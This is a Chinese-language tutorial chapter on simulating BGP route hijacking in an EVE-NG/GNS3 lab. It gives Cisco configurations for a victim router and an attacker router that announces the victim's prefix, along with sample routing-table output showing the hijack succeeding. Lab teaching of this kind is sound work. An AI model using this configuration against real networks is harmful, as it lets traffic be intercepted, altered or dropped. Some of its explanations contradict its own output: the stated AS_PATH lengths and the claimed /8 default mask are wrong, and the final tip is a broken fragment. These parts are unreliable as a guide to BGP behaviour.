3、攻击场景模拟:用GNS3/EVE-NG搭建实验环境
好,咱们直接进入正题。上一章讲了BGP路由欺骗的原理,说白了就是攻击者伪造一个更优的路径,把流量骗到自己手里。但光说不练假把式,这一章我们就亲手搭一个攻击场景。
我个人习惯用EVE-NG来做这类实验,因为它的设备镜像支持更全,拓扑也灵活。但如果你手头只有GNS3,也没问题,核心逻辑是一样的。我当年第一次做这个实验时,用的是GNS3,折腾了一整天才把环境跑通——嗯,踩了不少坑,后面我会把避坑的点都告诉你。
3.1 实验拓扑设计
先画个图,让你对整个网络有个直观印象。这个拓扑很简单,但足够演示攻击过程。
这个拓扑里,R1是受害者,属于AS 200,它通过互联网(AS 100)对外发布自己的路由。R2是攻击者,属于AS 300,它要做的就是伪造一个更优的BGP路由,让互联网上的流量都往它那边跑。
3.2 在EVE-NG中搭建基础环境
我个人推荐用EVE-NG,因为它的设备模板多,而且支持批量导入配置。如果你用GNS3,步骤也差不多,就是镜像导入方式不同而已。
具体步骤如下:
- 创建项目:在EVE-NG中新建一个项目,命名为"bgp_attack_lab"。
- 添加路由器:拖入3台路由器。我习惯用Cisco IOSv或vIOS,因为它们对BGP的支持最完整。
- 添加云节点:拖入一个"Internet"云节点,模拟AS 100。
- 连接链路:按拓扑图连接各设备接口。
- 启动设备:全部启动后,通过Console口登录配置。
3.3 配置受害者路由器 R1
R1是正常的企业边界路由器,它需要做两件事:一是跟互联网建立BGP邻居,二是把内部路由发布出去。
配置如下:
! 进入全局配置模式
conf t
! 配置接口IP
interface GigabitEthernet0/0
ip address 10.0.1.1 255.255.255.0
no shutdown
interface GigabitEthernet0/1
ip address 192.168.1.1 255.255.255.0
no shutdown
! 配置BGP
router bgp 200
bgp router-id 10.0.1.1
neighbor 10.0.1.254 remote-as 100 ! 对端是互联网路由器
network 192.168.1.0 mask 255.255.255.0 ! 发布内部网段
!
这里有个细节:network命令后面必须跟精确的掩码,否则BGP不会发布这条路由。我见过有人写成network 192.168.1.0,结果路由死活不生效——因为默认掩码是/8,跟实际配置不匹配。
3.4 配置攻击者路由器 R2
R2是攻击者,它的配置要"坏"一点。正常BGP邻居还是要建的,但关键在路由发布上——它会伪造一条指向受害者内部网段的路由,并且把AS_PATH改短,让这条路由看起来更优。
! 进入全局配置模式
conf t
! 配置接口IP
interface GigabitEthernet0/0
ip address 10.0.2.1 255.255.255.0
no shutdown
interface GigabitEthernet0/1
ip address 192.168.2.1 255.255.255.0
no shutdown
! 配置BGP
router bgp 300
bgp router-id 10.0.2.1
neighbor 10.0.2.254 remote-as 100 ! 对端是互联网路由器
! 伪造路由:声明自己拥有192.168.1.0/24
! 注意:这里没有经过AS 200,AS_PATH更短
network 192.168.1.0 mask 255.255.255.0
! 可选:手动修改AS_PATH,让它看起来更可信
! 但这里我们直接用network命令,效果已经足够
!
3.5 验证攻击效果
配置完成后,我们来看看攻击是否成功。在互联网路由器(AS 100)上查看BGP路由表:
show ip bgp 192.168.1.0
BGP routing table entry for 192.168.1.0/24
Paths: (2 available, best #2)
Path #1: 200
10.0.1.1 from 10.0.1.1 (10.0.1.1)
Origin IGP, metric 0, localpref 100, valid, external
Path #2: 300
10.0.2.1 from 10.0.2.1 (10.0.2.1)
Origin IGP, metric 0, localpref 100, valid, external, best
!
看到了吗?Path #2(来自攻击者R2)被选为最优路径。为什么?因为它的AS_PATH长度是1(只有AS 300),而Path #1的AS_PATH长度是2(AS 200 + AS 100)。BGP选路规则里,AS_PATH越短越优先。
这时候,所有发往192.168.1.0/24的流量都会先经过攻击者R2。攻击者可以截获、篡改甚至直接丢弃这些数据包。
3.6 避坑指南
这个实验我做过很多次,有几个坑你一定要注意:
- 设备镜像版本:Cisco IOSv 15.x以上版本对BGP的支持最好。太老的版本可能不支持某些特性。
- 接口状态:配置完接口后,记得用
show ip interface brief确认接口是up/up状态。我曾经因为忘记no shutdown,排查了半天。 - BGP邻居状态:用
show ip bgp summary查看邻居是否建立。如果状态是Idle或Active,说明TCP连接有问题,检查IP连通性和ACL。 - 路由过滤:在实际网络中,运营商通常会配置路由过滤,防止客户发布不属于自己的IP段。但在实验环境里,我们关掉了这些保护,所以攻击才能成功。
clear ip bgp *重置BGP会话,或者直接关闭实验拓扑。不要让它一直运行,免得被其他人利用。
好了,这一章的内容就到这里。你按照上面的步骤操作,应该能在半小时内把攻击场景搭起来。如果遇到问题,回头看看避坑指南,大部分问题都能解决。